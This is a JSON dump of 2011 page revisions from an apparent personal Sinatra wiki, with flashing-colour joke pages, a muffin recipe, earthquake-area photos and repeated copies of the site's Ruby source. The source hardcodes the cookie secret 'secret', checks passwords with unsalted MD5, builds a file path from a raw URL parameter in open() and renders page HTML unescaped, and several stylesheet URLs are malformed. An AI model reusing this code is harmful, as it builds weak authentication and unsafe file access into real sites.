\"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%body#body\r\n #all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %marquee\r\n %span{:style =\u003e \"font-size:120px\"}だるい\r\n %span#iro{:style =\u003e \"font-size:240px\"} だるい\r\n :javascript\r\n var darui = function(){\r\n var node = document.getElementById(\"iro\");\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n node.style.color = color;\r\n var body = document.getElementById(\"body\")\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n body.style['background-color'] = color;\r\n window.setTimeout(\"darui()\", 250)\r\n }\r\n darui();\r\n","created_at":"2011-05-25T06:03:47.000Z","updated_at":"2011-05-25T06:03:47.000Z"},{"id":1580,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%body#body\r\n #all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %marquee\r\n %span{:style =\u003e \"font-size:200px\"}だるい\r\n %span#iro{:style =\u003e \"font-size:360px\"} だるい\r\n :javascript\r\n var darui = function(){\r\n var node = document.getElementById(\"iro\");\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n node.style.color = color;\r\n var body = document.getElementById(\"body\")\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n body.style['background-color'] = color;\r\n window.setTimeout(\"darui()\", 250)\r\n }\r\n darui();\r\n","created_at":"2011-05-25T06:04:08.000Z","updated_at":"2011-05-25T06:04:08.000Z"},{"id":1581,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%body#body\r\n #all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %marquee\r\n %span{:style =\u003e \"font-size:200px\"}だるい\r\n %span#iro{:style =\u003e \"font-size:340px\"} だるい\r\n :javascript\r\n var darui = function(){\r\n var node = document.getElementById(\"iro\");\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n node.style.color = color;\r\n var body = document.getElementById(\"body\")\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n body.style['background-color'] = color;\r\n window.setTimeout(\"darui()\", 250)\r\n }\r\n darui();\r\n","created_at":"2011-05-25T06:04:15.000Z","updated_at":"2011-05-25T06:04:15.000Z"},{"id":1582,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%body#body\r\n #all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %marquee\r\n %span{:style =\u003e \"font-size:200px\"}だるい\r\n %span#iro{:style =\u003e \"font-size:320px\"} だるい\r\n :javascript\r\n var darui = function(){\r\n var node = document.getElementById(\"iro\");\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n node.style.color = color;\r\n var body = document.getElementById(\"body\")\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n body.style['background-color'] = color;\r\n window.setTimeout(\"darui()\", 250)\r\n }\r\n darui();\r\n","created_at":"2011-05-25T06:04:19.000Z","updated_at":"2011-05-25T06:04:19.000Z"},{"id":1583,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%body#body\r\n #all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %marquee\r\n %span{:style =\u003e \"font-size:200px\"}だるい\r\n %span#iro{:style =\u003e \"font-size:300px\"} だるい\r\n :javascript\r\n var darui = function(){\r\n var node = document.getElementById(\"iro\");\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n node.style.color = color;\r\n var body = document.getElementById(\"body\")\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n body.style['background-color'] = color;\r\n window.setTimeout(\"darui()\", 250)\r\n }\r\n darui();\r\n","created_at":"2011-05-25T06:04:25.000Z","updated_at":"2011-05-25T06:04:25.000Z"},{"id":1584,"name":"だるい","body":"haml\r\n-# vim: set ft=haml:\r\n!!!\r\n%title だるい\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%body#body\r\n #all\r\n %h1\r\n %marquee だるい\r\n %marquee だるい\r\n %marquee\r\n %span{:style =\u003e \"font-size:200px\"}だるい\r\n %span#iro{:style =\u003e \"font-size:300px\"} だるい\r\n :javascript\r\n var darui = function(){\r\n var node = document.getElementById(\"iro\");\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n node.style.color = color;\r\n var body = document.getElementById(\"body\")\r\n var color = [\"red\",\"blue\",\"yellow\",\"black\",\"pink\",\"green\"][Math.round(Math.random()*(5-0))+0];\r\n body.style['background-color'] = color;\r\n window.setTimeout(\"darui()\", 5)\r\n }\r\n darui();","created_at":"2011-05-25T06:11:52.000Z","updated_at":"2011-05-25T06:11:52.000Z"},{"id":1585,"name":"Muffin_for_yumeko","body":"title 醤油をどばっと入れてしまうような料理の下手な yumeko さんでも出来る!!!マフィンの作り方\r\n# 醤油をどばっと入れてしまうような料理の下手な yumeko さんでも出来る!!!マフィンの作り方\r\n\r\n## 材料(3 個分)\r\nバター 50g、砂糖 50g、卵 1、牛乳 大匙 2、薄力粉 100g、ベーキングパウダー小匙 1、板チョコ 1/2、くるみ適量\r\n\r\n## やること\r\n1. バターと砂糖を湯煎しながら混ぜる(**これとても重要、温めながら混ぜろ!!**)\r\n2. よくまざったら卵を入れてさらに混ぜる(この時はもう温めない)\r\n3. 薄力粉、ベーキングパウダーをいれて混ぜる\r\n4. 牛乳を大匙 1 入れて混ぜる。混ざったらもう一回同じように牛乳を入れて混ぜる\r\n5. くるみを適切なサイズに砕いて投入、混ぜる\r\n6. チョコレートも砕いて投入、混ぜる\r\n7. カップに 7 割ぐらい上記の生地を入れる\r\n8. 190 度に余熱したオーブンで 20 分焼く\r\n\r\n## ポイント\r\n* バターと砂糖を混ぜる時は絶対温めろ!!!\r\n* 混ぜる時は全部ゴムヘラで混ぜる","created_at":"2011-05-25T06:13:54.000Z","updated_at":"2011-05-25T06:13:54.000Z"},{"id":1586,"name":"onagawa","body":"haml 女川町の様子\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - 女川町の様子\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n #head\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 女川町の様子\r\n #social\r\n \u003ciframe src=\"http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fssig33.com%2Fonagawa\u0026send=false\u0026layout=standard\u0026width=450\u0026show_faces=true\u0026action=like\u0026colorscheme=light\u0026font\u0026height=80\" scrolling=\"no\" frameborder=\"0\" style=\"border:none; overflow:hidden; width:450px; height:80px;\" allowTransparency=\"true\"\u003e\u003c/iframe\u003e\r\n \u003cbr /\u003e\r\n \u003ca href=\"http://twitter.com/share\" class=\"twitter-share-button\" data-count=\"horizontal\" data-via=\"ssig33\"\u003eTweet\u003c/a\u003e\u003cscript type=\"text/javascript\" src=\"http://platform.twitter.com/widgets.js\"\u003e\u003c/script\u003e\r\n #photos\r\n %p 4/23 撮影\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000058.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000059.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000060.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000061.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000054.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000056.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000057.JPG\", :alt =\u003e \"\"}","created_at":"2011-05-25T06:20:21.000Z","updated_at":"2011-05-25T06:20:21.000Z"},{"id":1587,"name":"source","body":"# このサイトのソース\r\n\r\n## app.rb\r\n require 'sinatra'\r\n require 'active_record'\r\n require 'haml'\r\n require 'bluecloth'\r\n require 'cgi'\r\n require 'rack/csrf'\r\n require 'logger'\r\n \r\n PASSWORD = \"ハッシュ化されたパスワード\"\r\n \r\n ActiveRecord::Base.establish_connection(\r\n :adapter =\u003e 'sqlite3',\r\n :database =\u003e 'production.sqlite3'\r\n )\r\n \r\n ActiveRecord::Base.logger = Logger.new(\"./database.log\")\r\n \r\n #ActiveRecord::Migrator.migrate(\"migrate/\", nil)\r\n \r\n \r\n class Page \u003c ActiveRecord::Base\r\n def html\r\n BlueCloth.new(self.body).to_html rescue \"\u003cpre\u003e#{self.body}\u003c/pre\u003e\"\r\n end\r\n end\r\n \r\n configure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'secret'\r\n use Rack::Csrf, :raise =\u003e true\r\n end\r\n \r\n get '/' do\r\n @page = Page.where(:name =\u003e \"index\").order(\"created_at desc\").first\r\n redirect '/edit/index' unless @page\r\n haml :page\r\n end\r\n get '/:id' do\r\n file = open(\"public/#{params[:id]}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e params[:id]).order(\"created_at desc\").first\r\n redirect \"/edit/#{params[:id]}\" unless @page\r\n return haml :page\r\n end\r\n \r\n post '/update' do\r\n raise if Digest::MD5.hexdigest(params[:password]) != PASSWORD\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\n \r\n helpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n end\r\n \r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.name}\"\r\n end\r\n end\r\n end\r\n \r\n __END__\r\n @@ page\r\n \u003c!DOCTYPE html\u003e\r\n %meta{:charset =\u003e \"UTF-8\"}\r\n %title=h title\r\n %link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n %meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n %div#all~@page.html\r\n \r\n @@ edit\r\n \u003c!DOCTYPE html\u003e\r\n %meta{:charset =\u003e \"UTF-8\"}\r\n %title=h \"Edit - #{params[:id]}\"\r\n %link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n %meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n %div#all\r\n %form{:action =\u003e \"/update\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{params[:id]}\"}\r\n %p\r\n %textarea{:cols =\u003e \"80\", :id =\u003e \"bodY\", :name =\u003e \"body\", :rows =\u003e \"30\"}=@page.body #rescue \"\"\r\n %p\r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Save changes\"}\r\n\r\n\u003ch2\u003emigrate/0_create_page.rb\u003c/h2\u003e\r\n class CreatePages \u003c ActiveRecord::Migration\r\n def self.up\r\n create_table :pages do |t|\r\n t.string :name\r\n t.text :body\r\n t.timestamps\r\n end\r\n add_index :pages, [:name, :created_at]\r\n add_index :pages, :name\r\n end\r\n \r\n def self.down\r\n drop_table :pages\r\n end\r\n end","created_at":"2011-05-25T06:28:47.000Z","updated_at":"2011-05-25T06:28:47.000Z"},{"id":1588,"name":"source","body":"# このサイトのソース\r\n\r\n## app.rb\r\n require 'sinatra'\r\n require 'active_record'\r\n require 'haml'\r\n require 'bluecloth'\r\n require 'cgi'\r\n require 'rack/csrf'\r\n require 'logger'\r\n \r\n PASSWORD = \"ハッシュ化されたパスワード\"\r\n \r\n ActiveRecord::Base.establish_connection(\r\n :adapter =\u003e 'sqlite3',\r\n :database =\u003e 'production.sqlite3'\r\n )\r\n \r\n ActiveRecord::Base.logger = Logger.new(\"./database.log\")\r\n \r\n #ActiveRecord::Migrator.migrate(\"migrate/\", nil)\r\n \r\n \r\n class Page \u003c ActiveRecord::Base\r\n def html\r\n BlueCloth.new(self.body).to_html rescue \"\u003cpre\u003e#{self.body}\u003c/pre\u003e\"\r\n end\r\n end\r\n \r\n configure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'secret'\r\n use Rack::Csrf, :raise =\u003e true\r\n end\r\n \r\n get '/' do\r\n @page = Page.where(:name =\u003e \"index\").order(\"created_at desc\").first\r\n redirect '/edit/index' unless @page\r\n haml :page\r\n end\r\n get '/:id' do\r\n file = open(\"public/#{params[:id]}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e params[:id]).order(\"created_at desc\").first\r\n redirect \"/edit/#{params[:id]}\" unless @page\r\n return haml :page\r\n end\r\n \r\n post '/update' do\r\n raise if Digest::MD5.hexdigest(params[:password]) != PASSWORD\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\n \r\n helpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n end\r\n \r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.name}\"\r\n end\r\n end\r\n end\r\n \r\n __END__\r\n @@ page\r\n \u003c!DOCTYPE html\u003e\r\n %meta{:charset =\u003e \"UTF-8\"}\r\n %title=h title\r\n %link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n %meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n %div#all~@page.html\r\n \r\n @@ edit\r\n \u003c!DOCTYPE html\u003e\r\n %meta{:charset =\u003e \"UTF-8\"}\r\n %title=h \"Edit - #{params[:id]}\"\r\n %link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n %meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n %div#all\r\n %form{:action =\u003e \"/update\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{params[:id]}\"}\r\n %p\r\n %textarea{:cols =\u003e \"80\", :id =\u003e \"bodY\", :name =\u003e \"body\", :rows =\u003e \"30\"}=@page.body #rescue \"\"\r\n %p\r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Save changes\"}\r\n\r\n\u003ch2\u003emigrate/0_create_page.rb\u003c/h2\u003e\r\n\r\n class CreatePages \u003c ActiveRecord::Migration\r\n def self.up\r\n create_table :pages do |t|\r\n t.string :name\r\n t.text :body\r\n t.timestamps\r\n end\r\n add_index :pages, [:name, :created_at]\r\n add_index :pages, :name\r\n end\r\n \r\n def self.down\r\n drop_table :pages\r\n end\r\n end","created_at":"2011-05-25T06:29:20.000Z","updated_at":"2011-05-25T06:29:20.000Z"},{"id":1589,"name":"source","body":"# このサイトのソース\r\n\r\n## app.rb\r\n```ruby\r\nrequire 'sinatra'\r\nrequire 'active_record'\r\nrequire 'haml'\r\nrequire 'bluecloth'\r\nrequire 'cgi'\r\nrequire 'rack/csrf'\r\nrequire 'logger'\r\n\r\nPASSWORD = \"ハッシュ化されたパスワード\"\r\n\r\nActiveRecord::Base.establish_connection(\r\n :adapter =\u003e 'sqlite3',\r\n :database =\u003e 'production.sqlite3'\r\n)\r\n\r\nActiveRecord::Base.logger = Logger.new(\"./database.log\")\r\n\r\n#ActiveRecord::Migrator.migrate(\"migrate/\", nil)\r\n\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def html\r\n BlueCloth.new(self.body).to_html rescue \"\u003cpre\u003e#{self.body}\u003c/pre\u003e\"\r\n end\r\nend\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'secret'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n @page = Page.where(:name =\u003e \"index\").order(\"created_at desc\").first\r\n redirect '/edit/index' unless @page\r\n haml :page\r\nend\r\nget '/:id' do\r\n file = open(\"public/#{params[:id]}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e params[:id]).order(\"created_at desc\").first\r\n redirect \"/edit/#{params[:id]}\" unless @page\r\n return haml :page\r\nend\r\n\r\npost '/update' do\r\n raise if Digest::MD5.hexdigest(params[:password]) != PASSWORD\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n redirect \"/#{params[:id]}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.name}\"\r\n end\r\n end\r\nend\r\n\r\n__END__\r\n@@ page\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%div#all~@page.html\r\n\r\n@@ edit\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h \"Edit - #{params[:id]}\"\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%div#all\r\n %form{:action =\u003e \"/update\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{params[:id]}\"}\r\n %p\r\n %textarea{:cols =\u003e \"80\", :id =\u003e \"bodY\", :name =\u003e \"body\", :rows =\u003e \"30\"}=@page.body #rescue \"\"\r\n %p\r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Save changes\"}\r\n```\r\n\r\n\u003ch2\u003emigrate/0_create_page.rb\u003c/h2\u003e\r\n\r\n class CreatePages \u003c ActiveRecord::Migration\r\n def self.up\r\n create_table :pages do |t|\r\n t.string :name\r\n t.text :body\r\n t.timestamps\r\n end\r\n add_index :pages, [:name, :created_at]\r\n add_index :pages, :name\r\n end\r\n \r\n def self.down\r\n drop_table :pages\r\n end\r\n end\r\n","created_at":"2011-05-25T06:31:20.000Z","updated_at":"2011-05-25T06:31:20.000Z"},{"id":1590,"name":"source","body":"# このサイトのソース\r\n\r\n## app.rb\r\n require 'sinatra'\r\n require 'active_record'\r\n require 'haml'\r\n require 'bluecloth'\r\n require 'cgi'\r\n require 'rack/csrf'\r\n require 'logger'\r\n\r\n PASSWORD = \"ハッシュ化されたパスワード\"\r\n\r\n ActiveRecord::Base.establish_connection(\r\n :adapter =\u003e 'sqlite3',\r\n :database =\u003e 'production.sqlite3'\r\n )\r\n\r\n ActiveRecord::Base.logger = Logger.new(\"./database.log\")\r\n\r\n #ActiveRecord::Migrator.migrate(\"migrate/\", nil)\r\n\r\n\r\n class Page \u003c ActiveRecord::Base\r\n def html\r\n BlueCloth.new(self.body).to_html rescue \"\u003cpre\u003e#{self.body}\u003c/pre\u003e\"\r\n end\r\n end\r\n\r\n configure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'secret'\r\n use Rack::Csrf, :raise =\u003e true\r\n end\r\n\r\n get '/' do\r\n @page = Page.where(:name =\u003e \"index\").order(\"created_at desc\").first\r\n redirect '/edit/index' unless @page\r\n haml :page\r\n end\r\n get '/:id' do\r\n file = open(\"public/#{params[:id]}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e params[:id]).order(\"created_at desc\").first\r\n redirect \"/edit/#{params[:id]}\" unless @page\r\n return haml :page\r\n end\r\n\r\n post '/update' do\r\n raise if Digest::MD5.hexdigest(params[:password]) != PASSWORD\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\n\r\n helpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.name}\"\r\n end\r\n end\r\n end\r\n\r\n __END__\r\n @@ page\r\n \u003c!DOCTYPE html\u003e\r\n %meta{:charset =\u003e \"UTF-8\"}\r\n %title=h title\r\n %link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n %meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n %div#all~@page.html\r\n\r\n @@ edit\r\n \u003c!DOCTYPE html\u003e\r\n %meta{:charset =\u003e \"UTF-8\"}\r\n %title=h \"Edit - #{params[:id]}\"\r\n %link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n %meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n %div#all\r\n %form{:action =\u003e \"/update\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{params[:id]}\"}\r\n %p\r\n %textarea{:cols =\u003e \"80\", :id =\u003e \"bodY\", :name =\u003e \"body\", :rows =\u003e \"30\"}=@page.body #rescue \"\"\r\n %p\r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Save changes\"}\r\n\r\n\u003ch2\u003emigrate/0_create_page.rb\u003c/h2\u003e\r\n\r\n class CreatePages \u003c ActiveRecord::Migration\r\n def self.up\r\n create_table :pages do |t|\r\n t.string :name\r\n t.text :body\r\n t.timestamps\r\n end\r\n add_index :pages, [:name, :created_at]\r\n add_index :pages, :name\r\n end\r\n \r\n def self.down\r\n drop_table :pages\r\n end\r\n end\r\n","created_at":"2011-05-25T06:31:55.000Z","updated_at":"2011-05-25T06:31:55.000Z"},{"id":1591,"name":"source","body":"# このサイトのソース\r\n\r\n## app.rb\r\n``` ruby\r\nrequire 'sinatra'\r\nrequire 'active_record'\r\nrequire 'haml'\r\nrequire 'bluecloth'\r\nrequire 'cgi'\r\nrequire 'rack/csrf'\r\nrequire 'logger'\r\n\r\nPASSWORD = \"ハッシュ化されたパスワード\"\r\n\r\nActiveRecord::Base.establish_connection(\r\n :adapter =\u003e 'sqlite3',\r\n :database =\u003e 'production.sqlite3'\r\n)\r\n\r\nActiveRecord::Base.logger = Logger.new(\"./database.log\")\r\n\r\n#ActiveRecord::Migrator.migrate(\"migrate/\", nil)\r\n\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def html\r\n BlueCloth.new(self.body).to_html rescue \"\u003cpre\u003e#{self.body}\u003c/pre\u003e\"\r\n end\r\nend\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'secret'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n @page = Page.where(:name =\u003e \"index\").order(\"created_at desc\").first\r\n redirect '/edit/index' unless @page\r\n haml :page\r\nend\r\nget '/:id' do\r\n file = open(\"public/#{params[:id]}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e params[:id]).order(\"created_at desc\").first\r\n redirect \"/edit/#{params[:id]}\" unless @page\r\n return haml :page\r\nend\r\n\r\npost '/update' do\r\n raise if Digest::MD5.hexdigest(params[:password]) != PASSWORD\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n redirect \"/#{params[:id]}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.name}\"\r\n end\r\n end\r\nend\r\n```\r\n\r\n__END__\r\n@@ page\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%div#all~@page.html\r\n\r\n@@ edit\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h \"Edit - #{params[:id]}\"\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%div#all\r\n %form{:action =\u003e \"/update\", :method =\u003e 